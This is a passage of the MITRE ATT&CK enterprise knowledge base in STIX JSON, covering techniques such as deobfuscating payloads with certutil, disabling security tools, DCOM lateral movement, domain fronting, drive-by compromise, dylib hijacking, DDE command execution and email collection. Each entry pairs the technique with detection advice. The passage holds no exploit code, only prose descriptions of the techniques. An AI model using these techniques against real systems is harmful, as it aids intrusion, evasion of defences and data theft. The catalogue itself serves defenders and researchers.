                    "external_id": "T1025",
                    "url": "https://attack.mitre.org/techniques/T1025",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).",
            "x_mitre_system_requirements": [
                "Privileges to access removable media drive and files"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "collection",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:31.584Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Deobfuscate/Decode Files or Information",
            "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, [Scripting](https://attack.mitre.org/techniques/T1064), [PowerShell](https://attack.mitre.org/techniques/T1086), or by using utilities present on the system.\n\nOne such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)\n\nAnother example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.",
            "external_references": [
                {
                    "external_id": "T1140",
                    "url": "https://attack.mitre.org/techniques/T1140",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/",
                    "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.",
                    "source_name": "Carbon Black Obfuscation Sept 2016"
                },
                {
                    "url": "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/",
                    "description": "Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.",
                    "source_name": "Malwarebytes Targeted Attack against Saudi Arabia"
                },
                {
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "source_name": "Volexity PowerDuke November 2016"
                }
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            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward",
                "Red Canary"
            ],
            "x_mitre_data_sources": [
                "File monitoring",
                "Process Monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Host intrusion prevention systems",
                "Signature-based detection",
                "Network intrusion detection system"
            ],
            "x_mitre_detection": "Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).\n\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Disabling Security Tools",
            "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.",
            "external_references": [
                {
                    "external_id": "T1089",
                    "url": "https://attack.mitre.org/techniques/T1089",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-578",
                    "url": "https://capec.mitre.org/data/definitions/578.html",
                    "source_name": "capec"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "API monitoring",
                "File monitoring",
                "Services",
                "Windows Registry",
                "Process command-line parameters",
                "Anti-virus"
            ],
            "x_mitre_defense_bypassed": [
                "File monitoring",
                "Host intrusion prevention systems",
                "Signature-based detection",
                "Log analysis",
                "Anti-virus"
            ],
            "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:07.958Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Distributed Component Object Model",
            "description": "Windows Distributed Component Object Model (DCOM) is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology. COM is a component of the Windows application programming interface (API) that enables interaction between software objects. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL) (Citation: Microsoft Process Wide Com Keys) (Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods. (Citation: Enigma MMC20 COM Jan 2017) (Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.\n\nDCOM may also expose functionalities that can be leveraged during other areas of the adversary chain of activity such as Privilege Escalation and Persistence. (Citation: ProjectZero File Write EoP Apr 2018)",
            "external_references": [
                {
                    "external_id": "T1175",
                    "url": "https://attack.mitre.org/techniques/T1175",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/",
                    "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.",
                    "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017"
                },
                {
                    "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/",
                    "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.",
                    "source_name": "Enigma MMC20 COM Jan 2017"
                },
                {
                    "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/",
                    "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.",
                    "source_name": "Enigma DCOM Lateral Movement Jan 2017"
                },
                {
                    "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/",
                    "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.",
                    "source_name": "Enigma Excel DCOM Sept 2017"
                },
                {
                    "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom",
                    "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.",
                    "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx",
                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
                    "source_name": "Microsoft Process Wide Com Keys"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx",
                    "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.",
                    "source_name": "Microsoft System Wide Com Keys"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
                    "source_name": "Microsoft COM"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1",
                    "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.",
                    "source_name": "Microsoft COM ACL"
                },
                {
                    "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html",
                    "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.",
                    "source_name": "ProjectZero File Write EoP Apr 2018"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "API monitoring",
                "Authentication logs",
                "DLL monitoring",
                "Packet capture",
                "Process monitoring",
                "Windows Registry",
                "Windows event logs"
            ],
            "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application. (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for influx of Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "lateral-movement",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-01-16T16:13:52.465Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Domain Fronting",
            "description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.",
            "external_references": [
                {
                    "external_id": "T1172",
                    "url": "https://attack.mitre.org/techniques/T1172",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf",
                    "description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.",
                    "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Matt Kelly, @breakersall"
            ],
            "x_mitre_data_sources": [
                "SSL/TLS inspection",
                "Packet capture"
            ],
            "x_mitre_detection": "If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "command-and-control",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-01-16T16:13:52.465Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Drive-by Compromise",
            "description": "A drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. This can happen in several ways, but there are a few main components: \n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. (Citation: Shadowserver Strategic Web Compromise)\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n    * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n    * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.",
            "external_references": [
                {
                    "external_id": "T1189",
                    "url": "https://attack.mitre.org/techniques/T1189",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://blog.shadowserver.org/2012/05/15/cyber-espionage-strategic-web-compromises-trusted-websites-serving-dangerous-results/",
                    "description": "Adair, S., Moran, N. (2012, May 15). Cyber Espionage & Strategic Web Compromises \u2013 Trusted Websites Serving Dangerous Results. Retrieved March 13, 2018.",
                    "source_name": "Shadowserver Strategic Web Compromise"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Packet capture",
                "Network device logs",
                "Process use of network",
                "Web proxy",
                "Network intrusion detection system",
                "SSL/TLS inspection"
            ],
            "x_mitre_detection": "Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.\n\nNetwork intrusion detection systems, sometimes with SSL/TLS MITM inspection, can be used to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code.\n\nDetecting compromise based on the drive-by exploit from a legitimate website may be difficult. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "initial-access",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Dylib Hijacking",
            "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.",
            "external_references": [
                {
                    "external_id": "T1157",
                    "url": "https://attack.mitre.org/techniques/T1157",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf",
                    "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
                    "source_name": "Writing Bad Malware for OSX"
                },
                {
                    "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "source_name": "Malware Persistence on OS X"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring"
            ],
            "x_mitre_detection": "Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.",
            "x_mitre_effective_permissions": [
                "Administrator",
                "root"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "privilege-escalation",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Dynamic Data Exchange",
            "description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.",
            "external_references": [
                {
                    "external_id": "T1173",
                    "url": "https://attack.mitre.org/techniques/T1173",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://technet.microsoft.com/library/security/4053440",
                    "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
                    "source_name": "Microsoft DDE Advisory Nov 2017"
                },
                {
                    "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/",
                    "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.",
                    "source_name": "SensePost MacroLess DDE Oct 2017"
                },
                {
                    "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/",
                    "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.",
                    "source_name": "NVisio Labs DDE Detection Oct 2017"
                },
                {
                    "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/",
                    "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.",
                    "source_name": "SensePost PS DDE May 2016"
                },
                {
                    "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities",
                    "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.",
                    "source_name": "Kettle CSV DDE Aug 2014"
                },
                {
                    "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/",
                    "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
                    "source_name": "BleepingComputer DDE Disabled in Word Dec 2017"
                },
                {
                    "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee",
                    "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.",
                    "source_name": "Enigma Reviving DDE Jan 2018"
                },
                {
                    "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021",
                    "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.",
                    "source_name": "Microsoft ADV170021 Dec 2017"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "API monitoring",
                "DLL monitoring",
                "Process Monitoring",
                "Windows Registry",
                "Windows event logs"
            ],
            "x_mitre_detection": "OLE and Office Open XML files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)\n\nMonitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.\n\nMonitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_remote_support": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "execution",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-01-16T16:13:52.465Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Email Collection",
            "description": "Adversaries may target user email to collect sensitive information from a target.\n\nFiles containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.\n\nSome adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.",
            "external_references": [
                {
                    "external_id": "T1114",
                    "url": "https://attack.mitre.org/techniques/T1114",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Authentication logs",
                "File monitoring",
                "Process monitoring",
                "Process use of network"
            ],
            "x_mitre_detection": "There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).",
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "collection",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:25.454Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess)\n\nAdditional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier)\n\n* CreateProcessA() and CreateProcessW(),\n* CreateProcessAsUserA() and CreateProcessAsUserW(),\n* CreateProcessInternalA() and CreateProcessInternalW(),\n* CreateProcessWithLogonW(), CreateProcessWithTokenW(),\n* LoadLibraryA() and LoadLibraryW(),\n* LoadLibraryExA() and LoadLibraryExW(),\n* LoadModule(),\n* LoadPackagedLibrary(),\n* WinExec(),\n* ShellExecuteA() and ShellExecuteW(),\n* ShellExecuteExA() and ShellExecuteExW()",
            "external_references": [
                {
                    "external_id": "T1106",
                    "url": "https://attack.mitre.org/techniques/T1106",
                    "source_name": "mitre-attack"
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                {
                    "url": "http://msdn.microsoft.com/en-us/library/ms682425",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.",
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                    "url": "https://skanthak.homepage.t-online.de/verifier.html",
                    "description": "Kanthak, S. (2017). Application Verifier Provider. Retrieved February 13, 2017.",
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                "API monitoring",
                "Process monitoring"
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            "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.",
